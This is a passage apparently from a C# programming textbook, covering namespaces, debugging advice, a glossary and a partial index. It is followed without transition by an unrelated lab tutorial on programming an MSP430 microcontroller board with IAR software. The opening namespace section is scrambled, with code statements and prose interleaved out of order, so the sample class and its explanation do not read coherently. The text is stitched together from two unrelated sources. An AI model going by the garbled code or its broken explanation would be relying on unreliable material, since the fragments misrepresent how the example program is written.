} public bool WithDrawFunds ( decimal amount ) { if ( amount < 0 ) { return false . public void PayInFunds ( decimal amount ) { balance = balance + amount. Every class declared in this block is regarded as part of the given namespace. If I want to use the Account class from the CustomerBanking namespace I have to modify my test class accordingly. This is followed by a block of classes. Using a Class from a Namespace A Global class (i. } else { return false . return true. with the namespace in front.Advanced Programming Program Organisation EquipmentSupplier namespace as well.Account(). CustomerBanking. A given source file can contain as many namespace definitions and each can contain as many classes as you like.e. This is because we have not explicitly set up a namespace in our source files. C# Programming © Rob Miles 2010 178 .Account test. } } } } I have used the namespace keyword to identify the namespace. in that they are not defined in the same namespace. is known as a fully qualified name. This prevents the two names from clashing. A name like this. Putting a Class in a Namespace Up until now every name we have used has been created in what is called the global namespace. in this case CustomerBanking. they are very easy to set up: namespace CustomerBanking { public class Account { private decimal balance = 0. This creates a variable which can refer to instances of the Account class. } if ( balance >= amount ) { balance = balance .amount . However. } public decimal GetBalance () { return balance. one created outside any namespace) can just be referred to by its name. The Account class we use is the one in the CustomerBanking namespace. If we want to create an instance of the class we use the fully qualified name again: test = new CustomerBanking. If you want to use a class from a namespace you have to give the namespace as well.
But then again. 5. If there is it uses that. The System namespace is like this. We have already used this technique a lot. Console then all is well and it uses that.it automatically looks in the CustomerBanking namespace to see if there is a class called Account. The compiler goes "ah. In terms of declaring the namespace you do it like this: namespace CustomerBanking { namespace Accounts { // account classes go here } namespace Statements { // statement classes go here } namespace RudeLetters { // rude letter classes go here } } Now I can use the classes as required: using CustomerBanking. If it finds one. The System namespace is where a lot of the library components are located. We can use these by means of fully qualified names: System. This allows you to break things down into smaller chunks.RudeLetters . it is common for most programs to have the line: using System.8.Console.IO namespace with an appropriate include: using System. However. We do this with the using keyword: using CustomerBanking . . You get to use the items in the System.3 Namespaces in Separate Files There is no rule that says you have to put all the classes from a particular namespace in a particular file. When the compiler sees a line like: Account RobsAccount. This means that the programmer can just write: Console. and only one. . Of course the namespaces that you use should always be carefully designed.IO .WriteLine ( "Hello World" ).Advanced Programming Program Organisation Using a namespace If you are using a lot of things from a particular namespace C# provides a way in which you can tell the compiler to look in that namespace whenever it has to resolve the name of a particular item. If it finds two Console items (if I was an idiot I could put a Console class in my CustomerBanking namespace I suppose) it will complain that it doesn't know which to use. It is perfectly OK to spread the classes around a number of different source files. I'll go and have a look for a thing called Console in all the namespaces that I've been told to use". there is a namespace which is part of the System namespace which is specifically concerned with Input/Output. C# Programming © Rob Miles 2010 179 . Nesting Namespaces You can put one namespace inside another.at the very top.WriteLine ( "Hello World" ). you'd probably figured that one out already. You have to make sure that the files you want to use contain all the bits that are needed. and this means of course more planning and organising.
Of the two I much prefer the fully qualified name. but it means that when I'm reading the code I can see exactly where a given resource has come from.OverdraftWarning) or you can get hold of items in a namespace with using.1 Fault Reporting We have already seen that a fault is something which the user sees as a result of an error in your program.RudeLetters. Incidentally. i. causing it to fail.e. you can perform the sequence which always causes the bug to manifest itself and then use suitable techniques to nail it (see later). you will simply be told "There's a bug in the print routine". The good news is that if you use a test driven approach to your development the number of faults that are found by the users should be as small as possible. Also. The number of faults that are reported. Not everyone is good at debugging. Programmer’s Point: Design Your Fault Reporting Process Like just about everything else I've ever mentioned. You can spell out the complete location by using a Fully Qualified Name (CustomerBanking. and the time taken to deal with them. Faults which always happen are easy. if you formalize (or perhaps even automate) the fault reporting process you can ensure that you get the maximum possible information about the problem. I know that this makes the programs slightly harder to write. In other words. you should set up a process to deal with faults that are reported. C# Programming © Rob Miles 2010 180 . is valuable information about the quality of the thing that you are making. I've been programming for many years and only seen this in a handful of occasions. the reason why problems with programs are called bugs is that the original one was caused by an actual insect which got stuck in some contacts in the computer. However. In a large scale development fault reports are managed. 5.9 Debugging Some people are born to debug. those which always happen and those which sometimes happen.9. The sad thing is that most of the bugs in programs have been put there by programmers. In other words.Advanced Programming Debugging Programmer’s Point: Fully Qualified Names are Good There are two ways you can get hold of something. If a program fails as part of a test. but there will still be some things that need to be fixed. However. It is very rarely that you will see your program fail because the hardware is faulty. debugging is working very hard to find out how stupid you were in the first place. assigned to programmers and tracked very carefully. Faults are uncovered by the testing process or by users. if a user reports a fault the evidence may well be anecdotal. this approach will not make you popular with users. 5. This is not however how must bugs are caused. If I just see the name OverdraftWarning in the code I have no idea where that came from and so I have to search through all the namespaces that I'm using to find it. and we are going to explore some of these here. It is important to stress to users that any fault report will only be taken seriously if it is well documented. the way in which you manage your fault reports should be considered at the start of the project. There is a strong argument for ignoring a fault report if you have not been given a sequence of steps to follow to make it happen. some will always be better than others. The two types of Fault Faults split into two kinds. the steps taken to manifest it will be well recorded. you will not be supplied with a sequence of steps which cause the fault to appear. Having said that there are techniques which you can use to ease the process.
Rather than make assumptions. If the bug appears on Friday afternoons on your UNIX system. methods that call themselves by mistake and recurse their way into stack overflow an exception that is not caught properly If your program does the wrong thing. but the error may be in the routine which stored the item. some folks are just plain good at finding bugs. invalid loop termination's. crashes are often easier to fix. 5. or the size of the document which is being edited when the print is requested. or in code which overwrote the memory where the database lives. The manifestation of a fault may be after the error itself has actually occurred. find out if another department uses the machine to do a payroll run at that time and fills up all the scratch space. If the fault changes in nature this indicates problems with program or data being corrupted.Advanced Programming Debugging Faults which sometimes happen are a pain. Look at all possible (if seemingly unrelated) factors in the manifestation of the bug. errors which overwrite memory will corrupt different parts of the program if the layout of the code changes. This does not mean that there is no sequence (unless you are suffering from a hardware induced transient of some kind – which is rather rare) but that you have not found the sequence yet. or the loading department turn on the big hoist and inject loads of noise into the mains. What this means is that you do not have a definite sequence of events which causes the system to fail.even if it is just the cat! The act of explaining the problem can often lead you to deduce the answer. You might track this down to the number of pages printed. or the amount of text on the page. Look for: use of un-initialised members of classes typographical errors (look for incorrectly spelt variable names. do – while constructions which never fail. Explain the problem to someone else . It is best if the person you are talking to is highly sceptical of your statements. A fault may change or disappear when the program itself is changed. If you assume that "the only way it could get here is through this sequence" or "there is no way that this piece of code could be obeyed" you will often be wrong. They usually point to: a state which is not catered for (make sure that all selection statements have a default handler which does something sensible and that you use defensive programming techniques when values are passed between modules) programs that get stuck into loops. your first test is to change the code and data layout in some way and then re-run the program. C# Programming © Rob Miles 2010 181 . wrongly constructed logical conditions) As I said above. this can be harder to find. for loops which contain code which changes the control variable. improperly terminated comments) logical errors (look for faults in the sequence of instructions. An example would be a print function which sometimes crashes and works at other times. Here are some tips: Don't make any assumptions. stops completely) or when it does the wrong thing. incorrect comparison operators. where you put in extra print statements to find out more about the problem.e. This is particularly important if the bug is intermittent. This can lead to the most annoying kind of fault.9.2 Bugswatting You can split faults into other categories. Surprisingly. for example a program may fail when an item is removed from a database. add extra code to prove that what you think is happening is really happening. where the program crashes (i. and the problem promptly disappears! If you suspect such an error.
But if it does something like always output the first page twice if you do a print using the Chinese font and a certain kind of laser printer this might be regarded as a problem most users could live with. Rip it up and start again In some projects it is possible that the effort involved in starting again is less than trying to find out what is wrong with a broken solution that you have created. Such efforts are always doomed. Go off and do something different and you may find that the answer will just appear. This means that either the impossible is happening. This means that you need to evaluate the impact of the faults that get reported to you.9. If you have taken some time off from debugging. If the program crashes every third time you run it. explained the code to a friend and checked all your assumptions then maybe. Programmer’s Point: Bug Fixes Cause Bugs The primary cause of bugs is probably the bug fixing process. and whether or not a fault in the code is a "stopper" or not. Part of the job of a project manager in a development is deciding when a product is good enough to sell. I start introducing bugs. Remember that although the bug is of course impossible. prioritise them and manage how they are dealt with. it is happening. I have been nearly moved to tears by the sight of people putting in another loop or changing the way their conditions operate to "see if this will make the program work". One thing that I should make clear at this point is that the process of debugging is that of fixing faults in a solution which should work. This at least makes sure that the fix has not broken anything important. and then look at the changes made since? If the system is failing as a result of a change or. a bug fix. One of the rules by which I work is that "any useful program will have bugs in it". When considering faults you must also consider their impact. or sometimes destroys the filestore of the host computer. You also need to be aware of the C# Programming © Rob Miles 2010 182 . such programs will be very small and therefore not be good for much. The only way round this is to make sure that your test process (which you created as a series of lots of unit tests) can be run automatically after you've applied the fix. 5. I have found statistics which indicate that "two for one" is frequently to be expected. just that it will not be perfect. A good Source Code Control System is very valuable here. try to move back to a point where the bug is not there. and then introduce the changes until the bug appears. in that it can tell you exactly what changes have been made from one version to the next. Alternatively. this is probably the behaviour of a stopper bug. just like throwing a bunch of electrical components at the wall and expecting a DVD player to land on the floor is also not going to work. In other words you must know how the program is supposed to work before you try and fix problems with what it actually does. As soon as I create a useful program. However.Advanced Programming Debugging Leave the problem alone for a while. look carefully at how the introduction of the feature affects other modules in the system. with inputs. In other words I can write programs that I can guarantee will contain no bugs. just maybe this might be the best way forward.3 Making Perfect Software There is no such thing as perfect software. This does not mean that every program that I write is useless. in that every bug fix will introduce two brand new bugs. or one of your assumptions that it is impossible is wrong! Can you get back to a state where the bug was not present. Alternatively you may find the answer as soon as you come back to the problem. This is because when people change the program to make one bit of it work the change that they make often breaks other features of the system. outputs and some behaviours. A stopper is a fault which makes the program un-saleable. heaven forbid.
It covers a range of software engineering and programming techniques from the perspective of "software construction". However. If you have any serious intention to be a proper programmer you should/must read/own this book.1 Continuous Development A good programmer has a deliberate policy of constantly reviewing their expertise and looking at new things. a fault in a video game is much less of a problem than one in an air traffic control system. 5.html C# Programming © Rob Miles 2010 183 . because we don't have time to teach them all.2 Further Reading Code Complete Second Edition: Steve McConnell Published by Microsoft: ISBN 0-7356-1967-0 Not actually a book about C#.10 The End? This is not all you need to know to be a programmer.10. More a book about everything else. You should take a look at the following things if you want to become a great C# programmer: serialisation attributes reflection networking 5. Read some of the recommended texts at the end of this document for more on this aspect of programming. it is quite a good start. If you are serious about this business you should be reading at least one book about the subject at any one time. that you know how to solve it before you start writing code and that you manage your code production process carefully. For example. as it covers the behaviours of a programmer very well indeed:. How to be a programmer This web site is also worth a read.edu/howto/HowToBeAProgrammer.Advanced Programming The End? context of the development.10. And I've never stopped programming.mines. but there are quite a few things missing from this text. 5. The key to making software that is as perfect as possible is to make sure that you have a good understanding of the problem that you are solving. It is not even all you need to know to be a C# programmer. reading books about programming and looking at other people's code. I have been programming for as long as I can remember but I have never stopped learning about the subject.
It can be used to represent a real world item in your program (for example bank account). For example. We can therefore create an abstract Receipt class which serves as the basis of all the concrete ones. This means that it is a member of the receipt family (i. or if it contains one or more method which is marked as abstract. Class A class is a collection of behaviours (methods) and data (properties). Note that if the thing being given access to is managed by reference the programmer must make sure that it is OK for a reference to the object is passed out. In the case of component design an abstract class contains descriptions of things which need to be present. If the object is not to be changed it may be necessary to make a copy of the object to return to the caller. When writing programs we use the word to mean "an idealised description of something". or the return statement. wholesaler receipt etc. abstract one. a concrete one. Each "real" receipt class is created by extending the parent. but you can use it as the basis of. Accessor An accessor is a method which provides access to the value managed within a class. It is also used in overriding methods to call the method which they have overridden. in that the data is held securely in the class but code in other classes may need to have access to the value itself. In C# terms a class is abstract if it is marked as such. but it does not say how they are to be realised. starting at the first statement in its body.e. it can be treated as a Receipt) but it works in its own way. An accessor is implemented as a public method which will return a value to the caller. cheque receipt. When the end of the method. Whenever you need to collect a number of things into a single unit you should think in terms of creating a class. or template for. Effectively the access is read only. When a method is called the sequence of execution switches to that method. It is used in a constructor of a child class to call the constructor in the parent. we may decide that we need many different kinds of receipt in our transaction processing system: cash receipt. you call it. C# Programming © Rob Miles 2010 184 .Glossary of Terms The End? 6 Glossary of Terms Abstract Something which is abstract does not have a "proper" existence as such. You can't make an instance of an abstract class. Base base is a C# keyword which has different meanings depending on the context in which it is given. is reached the sequence of execution returns to the statement immediately following the method call. but we do know those behaviours which it must have to make it into a receipt. We don't know how each particular receipt will work inside. Call When you want to use a method.
The first phase. The final phase is the code generator. If a class is a member of a hierarchy. When creating a system you should focus on the components and how they interact. The use of class hierarchies is also a way of reusing code. A compiler is a large program which is specially written for a particular computer and programming language. One form of a collection is an array. Writing compilers is a specialised business. The compiler will produce an executable file which is run. rather than repeating the same statements at different parts of a program. Constructor A constructor is a method in a class which is called as a new instance of that class is created.Glossary of Terms The End? Code Reuse A developer should take steps to make sure that a given piece of program is only written once. which produces the executable file which is later run by the host.Collections namespace. Collection The C# library has the idea of a collection as being a bunch of things that you want to store together. A collection class will support enumeration which means that it can be asked to provide successive values to the C# foreach construction. This is usually achieved by putting code into methods and then calling them. identifiers and symbols producing a stream of program source which is fed to the "parser" which ensures that the source adheres to the grammar of the programming language in use. Cohesion A class has high cohesion if it is not dependent on/coupled to other classes. Programmers use constructors to get control when an instance is created and set up the values inside the class. they used to be written in assembly language but are now constructed in high level languages (like C#!). Component A component is a class which exposes its behaviour in the form of an interface. This means that rather than being thought of in terms of what it is (for example a BabyCustomerAccount) it is thought of in terms of what it can do (implement the IAccount interface to pay in and withdraw money). which allows you to easily find a particular item based on a key value in that item. Most compilers work in several phases. takes the source which the user has written and then finds all the individual keywords. Another is the hashtable. it is important when making the child that you ensure the parent constructor is called correctly. for example all the players in a football team or all the customers in a bank. Their interactions are expressed in the interfaces between them. Whenever you want to store a number of things together you should consider using a collection class to do this for you. You only need to override the methods that you want to update. C# Programming © Rob Miles 2010 185 . the pre-processor. The collection classes can be found in the System. Compiler A compiler takes a source file and makes sense of it. Otherwise the compiler will refuse to compile your program. and the parent class has a constructor.
Many modern programs work on the basis of events which are connected to methods. windows being resized. timers and the like) of the method which is to be called when the event they generate takes place. Making sure the spec. Note that the delegate instance holds two items. Coupling is often discussed alongside cohesion. a reference to the instance/class which contains the method and a reference to the method itself. too much dependency in your designs is a bad thing. is a good example of this. Delegate A delegate is a type safe reference to a method. Windows components make use of delegates (a delegate is a type safe reference to a method) to allow event generators to be informed of the method to be called when the event takes place. is right before you do anything is another way of saving on work. Dependency In general. When a running C# Programming © Rob Miles 2010 186 .Glossary of Terms The End? Coupling If a class is dependent on another the two classes are said to be coupled. where you try and pick up existing code. For example a user interface class may be dependent on a business object class (if you add new properties to the business object you will need to update the user interface). Exception An exception is an object that describes something bad that has just happened. keys being hit. Exceptions are part of the way that a C# program can deal with errors. However. When the event occurs the method is called to deliver notification. Dependency is often directional. since it makes it harder to update the system. in that you should aim for high cohesion and low coupling. As an example see the discussion of the CustomerAccount and ChildAccount Load method on page 145. Events include things like mouse movement. it is unlikely that changes to the way that the user interface works will mean that the business object needs to be altered. buttons being pressed. Event An event is some external occurrence which your program may need to respond to. Delegates are used to inform event generators (things like buttons. A dependency relationship exists between two classes when a change in code in one class means that you might have to change the other as well. structuring the design so that you can get someone else to do a lot of the work is probably the best example of creative laziness in action. timers going tick etc. Generally speaking a programmer should strive to have as little coupling in their designs as possible. It usually means that you have not properly allocated responsibility between the objects in your system and that two objects are looking after the same data. Code reuse. The fact that a delegate is an object means that it can be passed around like any other. Creative Laziness It seems to me that some aspects of laziness work well when applied to programming. It can then be directed at a method in a class which matches that signature. A delegate is created for a particular method signature (for example this method accepts two integers and returns a float). However.
You can make a program respond to exceptions by enclosing code that might throw an exception in a try – catch construction. The classes at the top of the hierarchy should be more general and possibly abstract (for example BankAccount) and the classes at the lower levels will be more specific (for example ChildBankAccount). or FDS. whether the exception // was thrown or not } A try – catch construction can also contain a finally clause. from the initial meeting right up to when the product is handed over. GUID creation involves the use of random values and the date and time.. Most operating systems and programmer libraries provide methods which will create GUIDs.. If an attempt is made to change the content of an immutable object a new object is created with the changed content and the "old" one C# Programming © Rob Miles 2010 187 . The Exception object contains a Message property that is a string which can be used to describe what has gone wrong. which contains code that is executed whether or not the exception is thrown. The precise path followed depends on the nature of the job and the techniques in use at the developer. It gives an identifier by which something can be referred to. Immutable An immutable object cannot be changed. all developments must start with a description of what the system is to do. however. This is the most crucial item in the whole project. Extending the child produces a further level of hierarchy. In the above example the message would be set to ―Oh Dear‖. GUIDs are used for things like account references and tags which must be unique. Functional Design Specification Large software developments follow a particular path.Glossary of Terms The End? program gets to a position where it just can’t continue (perhaps a file cannot be opened or an input value makes no sense) it can give up and ―throw‖ an exception: throw new Exception("Oh Dear"). Globally Unique Identifier (GUID) This is something which is created with the intention of it being unique in the world. and is often called the Functional Design Specification. amongst other things.
The fact that the age value is held as an integer is metadata. We don't care precisely what the component is. The fact that it cannot be negative is more metadata. or add one to an item in the processor. This gives strings a behaviour similar to value types. A message is delivered to an object by means of a call of a method inside that object. For more detail see the description of hierarchy. Metadata Metadata is data about data. for example move an item from the processor into memory. Each particular range of computer processors has its own specific machine code. Member A member of a class is declared within that class. It operates at all kinds of levels. The string class is immutable. They are also used to allow the same piece of program to be used in lots of places in a large development. Methods are used to break a large program up into a number of smaller units. Method A method is a block of code preceded by a method signature. Library A library is a set of classes which are used by other programs. C# Programming © Rob Miles 2010 188 . Methods are sometimes called behaviours.Glossary of Terms The End? remains in memory. Interface An interface defines a set of actions. The actions are defined in terms of a number of method definitions. It may also accept a parameter to work on. A public method is how an object exposes its behaviours. Metadata must be gathered by the programmer in consultation with the customer when creating a system. Machine code Machine Code is the language which the processor of the computer actually understands. The difference between a library and a program is that the library file will have the extension .dll (dynamic link library) and will not contain a main method. Inheritance Inheritance is the way in which a class extends a parent to allow it to make use of all the behaviours and properties the parent but add/customise these for a slightly different requirement. each of which performs one part of the task. as long as it implements the interface it can be thought of purely in terms of that ability. which makes them easier to use in programs. If a method is public it can be called by code other classes. Data members are sometimes called properties. The method has a particular name and may return a value. It can either do something (a method) or hold some data (variable). It contains a number of very simple operations. Interfaces make it possible to create components. A class which implements an interface must contain code for each of the methods. A class which implements an interface can be referenced purely in terms of that interface. which means that machine code written for one kind of machine cannot be easily used on another.
The programmer can then provide methods or C# properties to manage the values which may be assigned to the private members. the more portable something is the easier it is to move it onto a different type of computer. Portable When applied to computer software. in that invalid values will be rejected in some way. methods could be provided to set the date. You do this by creating a child class which extends the parent and then overriding the methods which need to be changed. C# provides the using keyword to allow namespaces to be "imported" into a program. This may entail providing updated versions of methods in the class. for example a date can be set by providing day. It is conventional to make data members of a class private so that they cannot be changed by code outside the class. The change will hopefully be managed. Override Sometimes you may want to make a more specialized version of an existing class. You can use the base keyword to get access to the overridden method if you need to. month. the new method is called. The only reason for not making a data member private is to remove the performance hit of using a method to access the data. Overload A method is overloaded when one with the same name but a different set of parameters is declared in the same class. Private A private member of a class is only visible to code in methods inside that class. High Level languages tend to be portable. it just gives the names by which they are known. A portable application is one which can be transferred to a new processor or operating system with relative ease. overloaded. In that case the SetDate method could be said to have been overloaded. each with the same name. C# Programming © Rob Miles 2010 189 . A fully qualified name of a resource is prefixed by the namespace in which the name exists. A namespace can contain another namespace. Namespace A namespace is an area within which a particular name has a particular meaning. year information or by a text string or by a single integer which is the number of days since 1st Jan.Glossary of Terms The End? Mutator A mutator is a method which is called to change the value of a member inside an object. This is implemented in the form of a public method which is supplied with a new value and may return an error code. Computers contain different kinds of processors and operating systems which can only run programs specifically written for them. Three different. Methods are overloaded when there is more than one way of providing information for a particular action. A programmer creating a namespace can use any name in that namespace. When the method is called on instances of the child class. allowing hierarchies to be set up. machine code is much harder to transfer. Namespaces let you reuse names. Note that a namespace is purely logical in that it does not reflect where in the system the items are physically located. not the overridden one in the parent.
The reference has a particular name. The signature is the name of the method and the type and order of the parameters to that method: void Silly(int a. This means that the code: Silly(1.0f. . int b) – has the signature of the name Silly and an float parameter followed by an integer parameter. It is kind of a half way house between private (no access to methods outside this class) and public (everyone has access).would call the second.Glossary of Terms The End? Property A property is an item of data which is held in an object. Signature A given C# method has a particular signature which allows it to be uniquely identified in a program. C# uses a reference to find its way to the instance of the class and use its methods and data. It is text which you want to pass through a compiler to produce a program file for execution. Note that the type of the method has no effect on the signature. Reference A reference is a bit like a tag which can be attached to an instance of a class. Public A public member of a class is visible to methods outside the class. 2) . whereas: Silly(1. A public method is how a class provides services to other classes.would call the first method. Protected A protected member of a class is visible to methods in the class and to methods in classes which extend this class. It is conventional to make the method members of a class public so that they can be used by code in other class. int b) – has the signature of the name Silly and two int parameters. 2) . Another would be the name of the account holder. An example of a property of a BankAccount class would be the balance of the account. void Silly(float a. One reference can be assigned to another. Source file You prepare a source file with a text editor of some kind. The C# language has a special construction to make the management of properties easy for programmers. If you do this the result is that there are now two tags which refer to a single object in memory. Static In the context of C# the keyword static makes a member of a class part of a class rather than part of an instance of the class. It lets you designate members in parent classes as being visible in the child classes. This means that you don’t need to create an C# Programming © Rob Miles 2010 190 . .
This means that if you create a four element array you get hold of elements in the array by subscript values of 0. Note that the colours are added by the editor. You put your program into a test harness and then the program thinks it is in the completed system. A test harness is very useful when debugging as it removes the need for the complete system (for example a trawler!) when testing. Subscript This is a value which is used to identify the element in an array.2 or 3. for example interest rates for all the accounts in your bank. but they are more efficient to use in that accessing structure items does not require a reference to be followed in the same way as for an object. to a network port or even to the system console. and structures are copied on assignment. to make it easier for the programmer to understand the code. C# Programming © Rob Miles 2010 191 . and there is nothing in the actual C# source file that determines the colour of the text. confusingly. Subscripts in C# always start at 0 (this locates. Structure A structure is a collection of data items. the first element of the array) and extend up to the size of the array minus 1. It also means that static members are accessed by means of the name of their class rather than a reference to an instance.Glossary of Terms The End? instance of a class to make use of a static member. It is not managed by reference. Syntax Highlighting Some program editors (for example Visual Studio) display different program elements in different colours. The best way to regard a subscript is the distance down the array you are going to move to get the element that you want. It is used in a constructor of a class to call another constructor. Structures are also passed by value into methods.1. Keywords are displayed in blue. Stream A stream is an object which represents a connection to something which is going to move data for us. Static members are useful for creating class members which are to be shared with all the instances. They are not as flexible as objects managed by reference. The movement might be to a disk file. for use in non-static methods running inside that instance. Test harness The test harness will contain simulations of those portions of the input and output which the system being tested will use. It must be an integer value. It is also used as a reference to the current instance. strings in red and comments in green. This this is a C# keyword which has different meanings depending on the context in which it is given. Streams remove the need to modify a program depending on where the output is to be sent or input received from. This means that the first element in the array must have a subscript value of 0. Structures are useful for holding chunks of related data in single units.
not afterwards when it has crashed. Value type A value type holds a simple value.e. Value types are passed as values into method calls and their values are copied upon assignment. Try to put a float value into an int variable and the compiler will get cross at this point. This is why not all methods are made virtual initially. that thing must be the right thing. Virtual Method A method is a member of a class. For this to take place the method in the parent class must have been marked as virtual. Of course. Unit test A unit test is a small test which exercises a component and ensures that it performs a particular function correctly. Changes to the value in x will not affect the value of y. The reason for this is that the designers of the language have noticed a few common programming mistakes and have designed it so that these mistakes are detected before the program runs. One of these mistakes is the use of values or items in contexts where it is either not meaningful to do this (put a string into a bool) or could result in loss of data or accuracy (put a double into a byte). Sometimes I may want to extend a class to produce a child class which is a more specialized version of that class. This kind of fussiness is called type safety and C# is very big on it. Some other languages are much more relaxed when it comes to combining things. x = y causes the value in y to be copied into x. Unit tests should be written alongside the development process so that they can be applied to code just after (or in test drive development just before) the code is written. C# is very keen on this (as am I). I think it is important that developers get all the help they can to stop them doing stupid things. i. in that the program must look for any overrides of the method before calling it. Making a method virtual slightly slows down access to it. and work on the basis that the programmer knows best. Only virtual methods can be overridden. I can call the method to do a job. In that case I may want to replace (override) the method in the parent with a new one in the child class. Note that this is in contrast to reference types where the result of the assignment would make x and y refer to the same instance. and a language that stops you from combining things in a way that might not be sensible is a good thing in my book. if you really want to impose your will on the compiler and force it to compile your code in spite of any type safety issues you can do this by using casting. They assume that just because code has been written to do something. C# Programming © Rob Miles 2010 192 .Glossary of Terms The End? Typesafe We have seen that C# is quite fussy about combining things that should not be combined.. 21 { { 20 + + 23 A abstract classes and interfaces 116 methods 115 references to abstract classes 118 accessor 93. . 124 case 125 Glossary of Terms 193 .Glossary of Terms Index ( () 20..
52 base method 112 Main 17 overriding 111 replace 113 sealed 114 stopping overriding 114 virtual 111 mutator 91.while 43 for 44 while 44 P parameters 22.Glossary of Terms operands 33 operators 33 M member protection 91 MessageBox 161 metadata 11 methods 17. 159 Dispose 161 modal 161 fridge 6 fully qualified name 73 G Generics 134. 31 if 39 immutable 124 information 7 inheritance 109 integers 27 interface abstraction 104 design 108 implementing 106 implementing multiple 108 reference 106 O object class 119 object oriented 15 objects 83.. 177 global 178 nesting 179 separate files 179 using 179 namespaces 73 narrowing 34 nested blocks 58 nesting namespaces 179 new 85. 136 global namespace 178 gozzinta 21 graphical user interface 153 GUID 109 N namespace 19. 89. 53 parenthesis 23 Parse 22 pause 169 plumber 9 pointers 162 print formatting 50 Glossary of Terms 194 . 98 H hash table 131 Hashtable 132 I identifier 17. 127 F files streams 141 foreach 143 Form 153. 35 loops 43 break 46 continue 46 do .
126 in interfaces 128 public 92 punctuation 25 R ReadLine 21 recipie 16 reference 84. 85.. 93.. 94 data 95 methods 96 story telling 37 stream 71 streams 141 StreamWriter 72 string 29. 103 Data Structures are Important 89 Delegates are strong magic 164. 182 programming languages 13 properties 90.Glossary of Terms print placeholders 50 priority 33 private 91. 124 comparison 125 editing 125 immutable 124 Length 125 literal 23 StringBuilder 126 structures 79 accessing 80 defining 79 subscripts 62 switch 68. 78 Every Message Counts 153 Flipping Conditions 47 Fully Qualified Names are Good 180 Give Your Variables Sensible Names 32 Good Communicators 13 Great Programmers 16 Importance of Hardware 8 Importance of Specification 10 Interfaces are just promises 109 Internationalise your code 104. 67. 69 case 70 System namespace 19 Glossary of Terms 195 . 180. 87 parameters 56 to abstract class 118 replacing methods 113 return 53 S scope 76.
26 arrays 61 assignment 32 bool 31 char 29 declaring 26 double 20 float 28 list 20 string 30 structures 79 text 29 types 26 verbatim 30 virtual methods 111 void 19 W widening 34 WriteLine 23 Glossary of Terms 196 .
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Your goal: You want to program a MSP430 microcomputer to "stand alone" on a roverbot, reading sensory and wireless signals, and sending out digital controls for stepping motors. To begin with, you have an evaluation board and a cable system connecting the evaluation board to the parallel (printer) port of a computer. Your computer is loaded with IAR software, that can edit and compile C code to be downloaded to the MSP430 chip. The cable will supply the chip with power while you download and study your code, perhaps by single-stepping in the DEBUG mode of IAR 2.5.
Putting the chip in the socket. Make sure the evaluation board has a computer chip, properly oriented, in its spring-loaded socket. The indent on the 28 pin chip is next to pin 1. Pin 1 is labeled on the PC board. Push your thumb down on the lip of the socket to open it up, place the chip, label up, then release the lip and make sure the chip stays firmly in place. You want a msp430F1232 chip in the socket. The msp430F1232 chip uses 10-bit successive approximation A-D conversion, compared to the msp430F123 (no 2 on the end) which uses dual-slope A-D. About half the MSP430 chips floating around the lab are 123's. We don't want them in the socket since we will be using the A-D feature of the 1232's.
Pinout of the MSP430F1232. Go to and look at page 3 to see which pins are assigned to what task on the chip. The rest of the 44 page document has details about what the chip does. On page 4, in particular, you can see the functional architecture of the chip.
The blinking LED demo. You want to double-click on the "IAR Embedded Workbench" desktop icon (with the green handled screwdriver pixels). From the File Menu create New:Workspace. Name it something like BlinkenLicht and save it in your team's IP folder. You can read about what you're going to do by navigating through the Start:Programs path to IAR Systems to the MSP-FET430 User's Guide (pdf). Check out page 1-4, "Flash"ing the LED. Note that FET stands for Flash Emulation Tool, where Flash refers to a type of writeable semiconductor memory onboard the MSP430F1232 chip. Next, under the Projects menu Create New Project; in the box you can use the same name as the Workspace if you like.
Next navigate to C:\Program Files\IAR Systems\Embedded Workbench 3.2\430\FET_examples\fet120\C-source for file fet120_1.c and make a copy in a folder in My Documents called IARstuff. Rename the file something like My120Blink.c. Under Properties of the file remove the Read-only restriction. You will be doing this transfer/rename so you don't link to the distribution software, and alter the code that must remain unmodified for other students to use.
From inside the IAR software, from the Projects:Add File menu, go to the IARstuff folder and and add My120Blink.c to your project.
Go to Projects:Options. Highlight (on the left) General. Make sure the Target tab is forward. From the Devices pull-down menu you should select msp430F1232. Next go to the C-Spy category (bottom on the left). Under Driver make sure the box says Flash Emulation Tool, and that in the bottom box it says "$TOOLKIT_DIR$\config\msp430F1232.ddf". Hit OK.
From Projects click on Rebuild All. If extend the Project tree you can see your
source code in a list. Click on the C source code: the screen will look something
like the image below:
Now under Projects click on Debug. For a second or so you will see flash by "Erasing Main Memory" and "Downloading Application" messages. You will be in the Debug mode. From the Debug menu click on Go. Look at your board. Is the yellow LED blinking about once per second? If so, Congratulations! (If not, double check what you've done, and if you still can't find an error, call over JD or the TA for troubleshooting. Who knows, you may have one of several defective MPP430 chips in the lab...)
Stop debugging. If you hit the "red hand" while the program is running the program will stop and the LED will quit blinking; if you go to the Debug menu and click on Stop Debugging you will return to the Editing mode. (If you click on Stop Debugging while the program will save in flash memory and keep running, the LED will keep blinking; in fact it will keep blinking even if you quit IAR...)
Editing the C source code. Return to the editing mode, for your source code. Change the green number 50000 to 10000. Click on Rebuild All, then Debug. Hit Go in the Debug menu and you should see the light blinking about 5x faster.
Running without the computer cable connection to the Emulation
Board. What you really want is for the board to
from the battery on the rover, with 12v from the battery sent through a 3.3v regulator
by way of a 7805 5v reg. An intermediate state would be running off 3.3v from the
Agilent supply in the lab. Each Evaluation Board should have two wires (red, green)
soldered to its Vcc and GND connector, for attachment to external power. First try
the Agilent. When you power up the board from an external supply, its yellow LED
should start blinking immediately. The TPS7333Q from TI is the 3.3v regulator
you will use.
Likely you drive the 7333 with a 7805 5v. regulator, it in turn connected to the
+12 supply:
Points about the sample code:
The header
#include <msp430x12x.h>
contains information specific to the chip in the socket.
The construction below creates an infinite loop: no termination
condition. The program will run until power is turned off.
for ( ; ;)
{
}
The form 0x01 or 0xFF represents a hexidecimal number. For
example, FF base 16 = 255 base 10.
More information on embedded C: Although the blink
demo has shown you how to control an output pin, you will want to do something with
your MSP430 other than blink an LED. Below is a general reference for help in embedded
C programming.
If you are logged in from a brown.edu location you can go to
and click on the "Safari Technical Books Online" link.
From there click on the "Programming" selection to the left
then type "Embedded C" in the search window and hit Go.
The first entry in the list of books should be one by Michael Barr,
Programming Embedded Systems in C and C++ that you can read.
More specifically, MSP-FET430 User's Guide can help you understand how to code C for the TI chip. You should be able to find the User's Guide through the Program menu of Windows, under IAR Systems.
Another resource: slau049d.pdf, the MSP430X1XX Users Guide, in folder IARstuff. See yourself reading Chpt 10, ADC10 A-D conversion.
Also bookmark the TI
website for MSP430, where
you can access sample code.
